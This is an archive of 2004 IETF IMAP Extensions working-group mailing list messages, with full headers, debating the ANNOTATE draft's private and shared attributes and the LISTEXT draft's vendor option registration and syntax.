<4B14174B-AB5A-11D8-8F35-000A95B2BB72@osafoundation.org> References: <5F992D44-AAA1-11D8-8F35-000A95B2BB72@osafoundation.org> <40AE3980.9090007@isode.com> <4B14174B-AB5A-11D8-8F35-000A95B2BB72@osafoundation.org> X-Mailer: Mulberry/3.1.1 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham version=2.63 X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on orthanc.ca Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: --On 2004-5-21 12:08 PM -0700 Lisa Dusseault wrote: > You can still easily handle the exception case by having a > "public-comment" that is shared alongside a "private-comment" that is > not shared -- two separate attributes. This should make it less > likely for users to accidentally reveal private information and much > reduces the management cost of the system. I am in violent agreement here. The current scheme makes it much to easy for an end-user to inadvertently leak information they intended to be private. I cannot visualize how a UI could express these semantics in a way that is so obvious and unambiguous that a typical end-user (or even an advanced user) would not unintentionally mess this up at least some of the time. --lyndon Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4LJ8tI6038975; Fri, 21 May 2004 12:08:55 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4LJ8t85038974; Fri, 21 May 2004 12:08:55 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from kahuna.osafoundation.org (kahuna.osafoundation.org [204.152.186.98]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4LJ8sus038962 for ; Fri, 21 May 2004 12:08:54 -0700 (PDT) (envelope-from lisa@osafoundation.org) X-Envelope-From: lisa@osafoundation.org X-Envelope-To: ietf-imapext@imc.org Received: from [192.168.101.178] (w002.z065106067.sjc-ca.dsl.cnc.net [65.106.67.2]) (authenticated bits=0) by kahuna.osafoundation.org (8.12.8/8.12.8) with ESMTP id i4LJ8FJL018339 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NO); Fri, 21 May 2004 12:08:15 -0700 In-Reply-To: <40AE3980.9090007@isode.com> References: <5F992D44-AAA1-11D8-8F35-000A95B2BB72@osafoundation.org> <40AE3980.9090007@isode.com> Mime-Version: 1.0 (Apple Message framework v613) Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: <4B14174B-AB5A-11D8-8F35-000A95B2BB72@osafoundation.org> Content-Transfer-Encoding: 7bit Cc: IMAP Extensions WG From: Lisa Dusseault Subject: Re: Issues on annotate-09 Date: Fri, 21 May 2004 12:08:50 -0700 To: Alexey Melnikov X-Mailer: Apple Mail (2.613) X-Scanned-By: MIMEDefang 2.39 Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: On May 21, 2004, at 10:16 AM, Alexey Melnikov wrote: > Lisa Dusseault wrote: > >> I've done a first read/review of >> http://www.ietf.org/internet-drafts/draft-ietf-imapext-annotate >> -09.txt, and found some issues (possibly just questions to be cleared >> up) and a couple nits. I realize the issues/questions may have come >> up before on the mailing list. If they have, kindly point me in the >> direction of the thread and I will catch up and re-ask the question >> if I still need to. >> >> ISSUES > >> 1. I notice that attributes can have *both* a private and a shared >> value, as well as just one or the other. > > Yes. > >> How are client implementors intending to work with this? > > The client can choose to use only one of them or both. I suspect that > the client will most likely just use one of them. > >> What's the use case and the rough idea of the UI that would allow >> users to enter both a private and a shared value? My assumption here >> is that some attributes will generally be private or public but not >> both. > > A message may have a public comment attached to it, as well as my > private comment. This seems to be the exception case, not the rule. I would much prefer a system where any given attribute is either shared everywhere in the mailbox, or private everywhere in the mailbox -- or even better, the designer of the proprietary or standard attribute decides whether it's shared or private everywhere, not just on every mailbox but on every server. You can still easily handle the exception case by having a "public-comment" that is shared alongside a "private-comment" that is not shared -- two separate attributes. This should make it less likely for users to accidentally reveal private information and much reduces the management cost of the system. > >> For example, I might decide that the "response-priority" attribute is >> private on every email in a mailbox because I don't want people who >> read the mailbox to know how high I rank the priority of responding >> to them, but the "sender-url" attribute is always shared. > > I think the client writer should decide on case-by-case basis. Too hard to manage, too flexible to present to the user, overkill. I'm saying this as an IMAP client implementor, but I haven't been one for long. Are there any other client implementors out there who have plans for UIs to manage all this flexibility? Are there use cases that support the item by item private/public flexibility need that I've overlooked? Was there ever a description of a requirement that lead to this? > >> 2. The example in question 1 leads me to another question about >> whether users will really micromanage whether an attribute is private >> on this email but shared on another email. I can't imagine the UI >> which would expose this to the average user, or even to users a >> couple sigmas to the extreme end of customization. In other words, >> is this too granular and flexible to really be useful? > > I think we don't want to go into details about which attributes are > private and which are shared. This would be up to a particular client > implementation to decide. Doesn't this draft also define several new attributes, as well as the general framework? Comment and altsubject should be more fully defined. > > It would be possible to add a field to the registration template > asking if the attribute is supposed to be private, shared or both? This would definitely be a good idea. > >> 3. I don't see enough guidance to clients about when and why to use >> altsubject. Is this supposed to allow internationalized subjects or >> two subjects in alternate languages? Or is it intended for the user >> to change the subject displayed while keeping the original subject >> unchanged? How is the client to know which subject to try to display >> first? > > IMHO, the client should always display altsubject (if one exists). The > client should always display private altsubject, and in the absence of > this - shared altsubject. The client MAY have a mode for displaying > the original subject. Since altsubject is being defined in this document, there needs to be some kind of language to guide clients how to use it consistently with each other. It seems sensible to me that clients should always display altsubject if it exists. > >> 4. How is the language of an attribute value specified? > > There is no generic way of doing this. Many attributes are not > intended to be human readable. > So if you want to define a new human readable attribute, you should > define how a language for the attribute can be specified. If this standard proposes two new human readable attributes (altsubject and comment), then it should cover how to define languages. Otherwise, the draft should make clear that the framework is not quite usable for human readable attributes in any language other than the server's default language. The problems with not knowing the language include: - Can't sort reliably; Spanish sorts 'Ch' and 'C' words in separate sections, but without knowing that an attribute is in spanish, the server would sort 'ch' within the 'C' section. - Can't display reliably; some unicode characters look different depending on what language is used. > >> 5. Section 3.6 is where I first noticed the idea that there are >> *multiple* private values for an attribute -- possibly one for each >> user. Did I miss this concept being introduced earlier? How does >> this square with the server limiting the size of annotations, and >> with clients being required to respect the server's limitations -- >> when clients can't be aware of other users' private annotations? > > Private annotations for other users don't count towards the quota > limit for the current user. > > ANNOTATESIZE applies to a single annotation whether it is shared or > private. If ANNOTATESIZE is 100 bytes and I've stored a shared > annotation FOO, which was 50 bytes long, it doesn't mean that I only > have 50 bytes left for my private annotation FOO. OK I understand this now, and this one is no longer an issue. Thanks, Lisa Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4LIEVf0028393; Fri, 21 May 2004 11:14:31 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4LIEVeC028392; Fri, 21 May 2004 11:14:31 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from kahuna.osafoundation.org (kahuna.osafoundation.org [204.152.186.98]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4LIEVo7028385 for ; Fri, 21 May 2004 11:14:31 -0700 (PDT) (envelope-from lisa@osafoundation.org) X-Envelope-From: lisa@osafoundation.org X-Envelope-To: ietf-imapext@imc.org Received: from [192.168.101.178] (w002.z065106067.sjc-ca.dsl.cnc.net [65.106.67.2]) (authenticated bits=0) by kahuna.osafoundation.org (8.12.8/8.12.8) with ESMTP id i4LIDjJL014270 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NO); Fri, 21 May 2004 11:13:46 -0700 In-Reply-To: <40AE2E56.5060200@isode.com> References: <5F992D44-AAA1-11D8-8F35-000A95B2BB72@osafoundation.org> <40AE2E56.5060200@isode.com> Mime-Version: 1.0 (Apple Message framework v613) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit Cc: IMAP Extensions WG From: Lisa Dusseault Subject: Re: Issues on annotate-09 Date: Fri, 21 May 2004 11:14:20 -0700 To: Alexey Melnikov X-Mailer: Apple Mail (2.613) X-Scanned-By: MIMEDefang 2.39 Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Thanks; this adequately answers my question so I don't consider it to be an issue. lisa On May 21, 2004, at 9:29 AM, Alexey Melnikov wrote: > Lisa Dusseault wrote: > >> 6. Is the APPEND notation completely redundant, given the STORE >> functionality? If so, I don't see why it should be there adding >> complexity. If it's not redundant, let's explain why it is there. > > APPEND command accept a mailbox name as a parameter. Imagine that > APPEND doesn't allow for annotations anymore. In order to append a > message with annotations, the client would have to: > 1). Do a regular APPEND "bar" ... > 2). Close the current mailbox "foo" if one is selected (CLOSE command). > 3). Open mailbox "bar" (SELECT "bar") > 4). Find out what is the message number/UID for the appended message > (this can be returned in a response to the APPEND command, but this is > an extension, so not all IMAP servers support this) > 5). perform STORE to store the required annotations > 6). close the mailbox "bar" > 7). reopen the mailbox "foo". > > Alternatively instead of doing step 2 the client can open a new TCP > connection and do step 3 over the new connection (not to mention that > the client will have to reauthenticate on the new connection). > > As you can see this is not very optimal. APPEND allows to inject > message and set flags/annotations at the same time. > > Alexey > > Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4LHGqs2016529; Fri, 21 May 2004 10:16:52 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4LHGqw1016528; Fri, 21 May 2004 10:16:52 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from rufus.isode.com (rufus.isode.com [62.3.217.251]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4LHGovZ016522 for ; Fri, 21 May 2004 10:16:51 -0700 (PDT) (envelope-from Alexey.Melnikov@isode.com) Received: from isode.com (shiny.isode.com [62.3.217.250]) by rufus.isode.com via TCP (internal) with ESMTPA; Fri, 21 May 2004 18:16:50 +0100 Message-ID: <40AE3980.9090007@isode.com> Date: Fri, 21 May 2004 18:16:48 +0100 From: Alexey Melnikov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Lisa Dusseault CC: IMAP Extensions WG Subject: Re: Issues on annotate-09 References: <5F992D44-AAA1-11D8-8F35-000A95B2BB72@osafoundation.org> In-Reply-To: <5F992D44-AAA1-11D8-8F35-000A95B2BB72@osafoundation.org> Content-Type: text/plain; charset=KOI8-R; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Lisa Dusseault wrote: > I've done a first read/review of > http://www.ietf.org/internet-drafts/draft-ietf-imapext-annotate-09.txt, > and found some issues (possibly just questions to be cleared up) and a > couple nits. I realize the issues/questions may have come up before > on the mailing list. If they have, kindly point me in the direction > of the thread and I will catch up and re-ask the question if I still > need to. > > ISSUES > 1. I notice that attributes can have *both* a private and a shared > value, as well as just one or the other. Yes. > How are client implementors intending to work with this? The client can choose to use only one of them or both. I suspect that the client will most likely just use one of them. > What's the use case and the rough idea of the UI that would allow > users to enter both a private and a shared value? My assumption here > is that some attributes will generally be private or public but not both. A message may have a public comment attached to it, as well as my private comment. > For example, I might decide that the "response-priority" attribute is > private on every email in a mailbox because I don't want people who > read the mailbox to know how high I rank the priority of responding to > them, but the "sender-url" attribute is always shared. I think the client writer should decide on case-by-case basis. > 2. The example in question 1 leads me to another question about > whether users will really micromanage whether an attribute is private > on this email but shared on another email. I can't imagine the UI > which would expose this to the average user, or even to users a couple > sigmas to the extreme end of customization. In other words, is this > too granular and flexible to really be useful? I think we don't want to go into details about which attributes are private and which are shared. This would be up to a particular client implementation to decide. It would be possible to add a field to the registration template asking if the attribute is supposed to be private, shared or both? > 3. I don't see enough guidance to clients about when and why to use > altsubject. Is this supposed to allow internationalized subjects or > two subjects in alternate languages? Or is it intended for the user > to change the subject displayed while keeping the original subject > unchanged? How is the client to know which subject to try to display > first? IMHO, the client should always display altsubject (if one exists). The client should always display private altsubject, and in the absence of this - shared altsubject. The client MAY have a mode for displaying the original subject. > 4. How is the language of an attribute value specified? There is no generic way of doing this. Many attributes are not intended to be human readable. So if you want to define a new human readable attribute, you should define how a language for the attribute can be specified. > 5. Section 3.6 is where I first noticed the idea that there are > *multiple* private values for an attribute -- possibly one for each > user. Did I miss this concept being introduced earlier? How does > this square with the server limiting the size of annotations, and with > clients being required to respect the server's limitations -- when > clients can't be aware of other users' private annotations? Private annotations for other users don't count towards the quota limit for the current user. ANNOTATESIZE applies to a single annotation whether it is shared or private. If ANNOTATESIZE is 100 bytes and I've stored a shared annotation FOO, which was 50 bytes long, it doesn't mean that I only have 50 bytes left for my private annotation FOO. Alexey Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4KL5FYf009021; Thu, 20 May 2004 14:05:15 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4KL5F4N009020; Thu, 20 May 2004 14:05:15 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from kahuna.osafoundation.org (kahuna.osafoundation.org [204.152.186.98]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4KL5FM2009014 for ; Thu, 20 May 2004 14:05:15 -0700 (PDT) (envelope-from lisa@osafoundation.org) X-Envelope-From: lisa@osafoundation.org X-Envelope-To: Received: from [192.168.101.178] (w002.z065106067.sjc-ca.dsl.cnc.net [65.106.67.2]) (authenticated bits=0) by kahuna.osafoundation.org (8.12.8/8.12.8) with ESMTP id i4KL4XJL020199 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 20 May 2004 14:04:33 -0700 Mime-Version: 1.0 (Apple Message framework v613) Content-Transfer-Encoding: 7bit Message-Id: <5F992D44-AAA1-11D8-8F35-000A95B2BB72@osafoundation.org> Content-Type: text/plain; charset=US-ASCII; format=flowed To: IMAP Extensions WG From: Lisa Dusseault Subject: Issues on annotate-09 Date: Thu, 20 May 2004 14:05:07 -0700 X-Mailer: Apple Mail (2.613) X-Scanned-By: MIMEDefang 2.39 Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: I've done a first read/review of http://www.ietf.org/internet-drafts/draft-ietf-imapext-annotate-09.txt, and found some issues (possibly just questions to be cleared up) and a couple nits. I realize the issues/questions may have come up before on the mailing list. If they have, kindly point me in the direction of the thread and I will catch up and re-ask the question if I still need to. ISSUES 1. I notice that attributes can have *both* a private and a shared value, as well as just one or the other. How are client implementors intending to work with this? What's the use case and the rough idea of the UI that would allow users to enter both a private and a shared value? My assumption here is that some attributes will generally be private or public but not both. For example, I might decide that the "response-priority" attribute is private on every email in a mailbox because I don't want people who read the mailbox to know how high I rank the priority of responding to them, but the "sender-url" attribute is always shared. 2. The example in question 1 leads me to another question about whether users will really micromanage whether an attribute is private on this email but shared on another email. I can't imagine the UI which would expose this to the average user, or even to users a couple sigmas to the extreme end of customization. In other words, is this too granular and flexible to really be useful? 3. I don't see enough guidance to clients about when and why to use altsubject. Is this supposed to allow internationalized subjects or two subjects in alternate languages? Or is it intended for the user to change the subject displayed while keeping the original subject unchanged? How is the client to know which subject to try to display first? 4. How is the language of an attribute value specified? 5. Section 3.6 is where I first noticed the idea that there are *multiple* private values for an attribute -- possibly one for each user. Did I miss this concept being introduced earlier? How does this square with the server limiting the size of annotations, and with clients being required to respect the server's limitations -- when clients can't be aware of other users' private annotations? 6. Is the APPEND notation completely redundant, given the STORE functionality? If so, I don't see why it should be there adding complexity. If it's not redundant, let's explain why it is there. 7. The Security Considerations section looks inadequate, in fact it looks out of date given that there are private attribute values -- and says they should not be stored! NITS - The word 'optional' has a space in page 12 -- "option al" - Last sentence in page twelve has a cut and paste error around "is results" : "This option al parameter is results in a per-mailbox state change" Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4JEULIW036889; Wed, 19 May 2004 07:30:21 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4JEULGj036888; Wed, 19 May 2004 07:30:21 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from rufus.isode.com (rufus.isode.com [62.3.217.251]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4JEUK3C036881 for ; Wed, 19 May 2004 07:30:20 -0700 (PDT) (envelope-from Alexey.Melnikov@isode.com) Received: from isode.com (shiny.isode.com [62.3.217.250]) by rufus.isode.com via TCP (with SMTP (internal)) with ESMTPA; Wed, 19 May 2004 15:26:43 +0100 Message-ID: <40AB6EA1.9010109@isode.com> Date: Wed, 19 May 2004 15:26:41 +0100 From: Alexey Melnikov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Rob Siemborski CC: Cyrus Daboo , Tony Hansen , IMAP Extensions WG Subject: Re: Update to LISTEXT draft References: <40A6A0CD.5020200@isode.com> <40A82163.2020604@att.com> <40A93D83.6030505@isode.com> <40AA14BB.7080209@isode.com> <556FABA2B1496AA485BB823A@ninevah.cyrusoft.com> <40AB6780.1000908@isode.com> In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Rob Siemborski wrote: >On Wed, 19 May 2004, Alexey Melnikov wrote: > > >>>I don't think vendors should have to register the specific option - >>>only their names. I see vendor options as being more of a private >>>namespace. If a vendors wants an option that is expected to be public, >>>then perhaps use of an 'X-' prefix would be better? >>> >>> >>I don't think 'X-' prefix would buy anything. If an option get's widely >>used, it has to be reregistered anyway. >>And an option unimportant in the eyes of the person who designed it >>might turn out to be important for other people (and vice versa). >> >>So, how about the following? >>1). Registering a vendor prefix is a MUST >>2). Registering a vendor specific option is a SHOULD. >> >> > >If we're going to make the argument for LISTEXT that people SHOULD >register specific options, what is the argument for ANNOTATE and >ANNOTATEMORE that they don't have to? > >Whatever we decide, we should be consistent (or know why the choices we >are making are different). > I agree. >Personally, I think the vendor namespace is just that -- private to the >vendor. Therefore, registration shouldn't be required (or even >recommended-- since it creates extra overhead for IANA). > > Ok, maybe it is not IANA task, but as a developer, I would really like to have a single place where *all* options are registered. That is one of the reasons that I have a collection of web pages listing different IMAP / SASL capabilities. Can IMC host registrations? Even if IMC agrees, we still end up having 2 registries, which is not good. But no matter how I like the sound of this, I can't put "MUST register your vendor option with Alexey Melnikov" in the document ;-). Alexey Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4JEITqs036100; Wed, 19 May 2004 07:18:29 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4JEITQB036099; Wed, 19 May 2004 07:18:29 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from rufus.isode.com (rufus.isode.com [62.3.217.251]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4JEIQEt036091 for ; Wed, 19 May 2004 07:18:29 -0700 (PDT) (envelope-from Alexey.Melnikov@isode.com) Received: from isode.com (shiny.isode.com [62.3.217.250]) by rufus.isode.com via TCP (with SMTP (submission)) with ESMTPA; Wed, 19 May 2004 15:18:12 +0100 Message-ID: <40AB6CA2.4010204@isode.com> Date: Wed, 19 May 2004 15:18:10 +0100 From: Alexey Melnikov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Rob Siemborski CC: Cyrus Daboo , IMAP Extensions WG Subject: Re: Update to LISTEXT draft References: <40A6A0CD.5020200@isode.com> <40A82163.2020604@att.com> <40A93D83.6030505@isode.com> <93D22F04215DCC60D6F6628B@ninevah.cyrusoft.com> <40AB4AF9.8050608@isode.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Rob Siemborski wrote: >On Wed, 19 May 2004, Cyrus Daboo wrote: > > >>--On Wednesday, May 19, 2004 12:54 PM +0100 Alexey Melnikov >> wrote: >> >> >>>IMHO, it would be good if we can reuse ACAP vendor's registry. As >>>name-component can contain spaces, the value should be quoted. A quoted >>>string doesn't allow for non-ascii characters, so it can't be used. But I >>>can add something that looks like a quoted string, but can contain >>>non-ascii. >>>Comments? >>> >>> >>Why not just define it as an 'astring', that way you can have atom, quoted >>or literal as fits the data. >> >> > >This seems much nicer -- it'd be pretty evil for something that looks like >a quoted string to not actually be a quoted string. > Ok, so we are back to where we started: mbox-list-extended-item-tag will become astring (as it used to be in -05). I will also change: option = "SUBSCRIBED" / "CHILDREN" / "REMOTE" / option-extension to be: option = <"> "SUBSCRIBED" <"> / <"> "CHILDREN" <"> / <"> "REMOTE" <"> / option-extension So a list command might now look like: tag LIST ("SUBSCRIBED") "" "*" Alexey Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4JDwpPf034378; Wed, 19 May 2004 06:58:51 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4JDwpkv034377; Wed, 19 May 2004 06:58:51 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from smtp-test.andrew.cmu.edu (SMTP-TEST.andrew.cmu.edu [128.2.10.114]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4JDwoSL034371 for ; Wed, 19 May 2004 06:58:50 -0700 (PDT) (envelope-from rjs3@andrew.cmu.edu) Received: from SOURCEFOUR.andrew.cmu.edu (SOURCEFOUR.andrew.cmu.edu [128.2.122.8]) (user=rjs3 mech=GSSAPI (0 bits)) by smtp-test.andrew.cmu.edu (8.12.10/8.12.10) with ESMTP id i4JDwn0s014386; Wed, 19 May 2004 09:58:49 -0400 Date: Wed, 19 May 2004 09:58:49 -0400 (EDT) From: Rob Siemborski To: Alexey Melnikov cc: Cyrus Daboo , Tony Hansen , IMAP Extensions WG Subject: Re: Update to LISTEXT draft In-Reply-To: <40AB6780.1000908@isode.com> Message-ID: References: <40A6A0CD.5020200@isode.com> <40A82163.2020604@att.com> <40A93D83.6030505@isode.com> <40AA14BB.7080209@isode.com> <556FABA2B1496AA485BB823A@ninevah.cyrusoft.com> <40AB6780.1000908@isode.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: On Wed, 19 May 2004, Alexey Melnikov wrote: > > I don't think vendors should have to register the specific option - > > only their names. I see vendor options as being more of a private > > namespace. If a vendors wants an option that is expected to be public, > > then perhaps use of an 'X-' prefix would be better? > > I don't think 'X-' prefix would buy anything. If an option get's widely > used, it has to be reregistered anyway. > And an option unimportant in the eyes of the person who designed it > might turn out to be important for other people (and vice versa). > > So, how about the following? > 1). Registering a vendor prefix is a MUST > 2). Registering a vendor specific option is a SHOULD. If we're going to make the argument for LISTEXT that people SHOULD register specific options, what is the argument for ANNOTATE and ANNOTATEMORE that they don't have to? Whatever we decide, we should be consistent (or know why the choices we are making are different). Personally, I think the vendor namespace is just that -- private to the vendor. Therefore, registration shouldn't be required (or even recommended-- since it creates extra overhead for IANA). -Rob -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Rob Siemborski | Andrew Systems Group * Research Systems Programmer PGP:0x5CE32FCC | Cyert Hall 207 * rjs3@andrew.cmu.edu * 412.268.7456 -----BEGIN GEEK CODE BLOCK---- Version: 3.12 GCS/IT/CM/PA d- s+: a-- C++++$ ULS++++$ P+++$ L+++ E W+ N(-) o? K- w-- O- M-- V-- PS+ PE+ Y+ PGP+ t+@ 5+++ X- R@ tv-- b+ DI+++ D++ G e++ h+ r- y? ------END GEEK CODE BLOCK----- Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4JDuW4h034226; Wed, 19 May 2004 06:56:32 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4JDuWcf034225; Wed, 19 May 2004 06:56:32 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from rufus.isode.com (rufus.isode.com [62.3.217.251]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4JDuUgT034219 for ; Wed, 19 May 2004 06:56:31 -0700 (PDT) (envelope-from Alexey.Melnikov@isode.com) Received: from isode.com (shiny.isode.com [62.3.217.250]) by rufus.isode.com via TCP (with SMTP (submission)) with ESMTPA; Wed, 19 May 2004 14:56:17 +0100 Message-ID: <40AB6780.1000908@isode.com> Date: Wed, 19 May 2004 14:56:16 +0100 From: Alexey Melnikov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Cyrus Daboo CC: Rob Siemborski , Tony Hansen , IMAP Extensions WG Subject: Re: Update to LISTEXT draft References: <40A6A0CD.5020200@isode.com> <40A82163.2020604@att.com> <40A93D83.6030505@isode.com> <40AA14BB.7080209@isode.com> <556FABA2B1496AA485BB823A@ninevah.cyrusoft.com> In-Reply-To: <556FABA2B1496AA485BB823A@ninevah.cyrusoft.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Cyrus Daboo wrote: > > Hi Alexey, > > --On Tuesday, May 18, 2004 2:50 PM +0100 Alexey Melnikov > wrote: > >>> If there is a generally useful option that a vendor supplies, I think >>> it'd be a better approach to standardize it outside of the vendor >>> namespace than to say "eh, lets just use it in the vendor namespace". >>> >> I agree. But I think what will most likely happen is that a vendor >> specific option gets registered first, and than a standard one is >> registered later on. > > > I don't think vendors should have to register the specific option - > only their names. I see vendor options as being more of a private > namespace. If a vendors wants an option that is expected to be public, > then perhaps use of an 'X-' prefix would be better? I don't think 'X-' prefix would buy anything. If an option get's widely used, it has to be reregistered anyway. And an option unimportant in the eyes of the person who designed it might turn out to be important for other people (and vice versa). So, how about the following? 1). Registering a vendor prefix is a MUST 2). Registering a vendor specific option is a SHOULD. Alexey Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4JDiT8K033357; Wed, 19 May 2004 06:44:29 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4JDiTEf033356; Wed, 19 May 2004 06:44:29 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from smtp-test.andrew.cmu.edu (SMTP-TEST.andrew.cmu.edu [128.2.10.114]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4JDiSx0033348 for ; Wed, 19 May 2004 06:44:28 -0700 (PDT) (envelope-from rjs3@andrew.cmu.edu) Received: from SOURCEFOUR.andrew.cmu.edu (SOURCEFOUR.andrew.cmu.edu [128.2.122.8]) (user=rjs3 mech=GSSAPI (0 bits)) by smtp-test.andrew.cmu.edu (8.12.10/8.12.10) with ESMTP id i4JDiQ0s014323; Wed, 19 May 2004 09:44:26 -0400 Date: Wed, 19 May 2004 09:44:26 -0400 (EDT) From: Rob Siemborski To: Cyrus Daboo cc: Alexey Melnikov , IMAP Extensions WG Subject: Re: Update to LISTEXT draft In-Reply-To: Message-ID: References: <40A6A0CD.5020200@isode.com> <40A82163.2020604@att.com> <40A93D83.6030505@isode.com> <93D22F04215DCC60D6F6628B@ninevah.cyrusoft.com> <40AB4AF9.8050608@isode.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: On Wed, 19 May 2004, Cyrus Daboo wrote: > --On Wednesday, May 19, 2004 12:54 PM +0100 Alexey Melnikov > wrote: > > > IMHO, it would be good if we can reuse ACAP vendor's registry. As > > name-component can contain spaces, the value should be quoted. A quoted > > string doesn't allow for non-ascii characters, so it can't be used. But I > > can add something that looks like a quoted string, but can contain > > non-ascii. > > Comments? > > Why not just define it as an 'astring', that way you can have atom, quoted > or literal as fits the data. This seems much nicer -- it'd be pretty evil for something that looks like a quoted string to not actually be a quoted string. -Rob 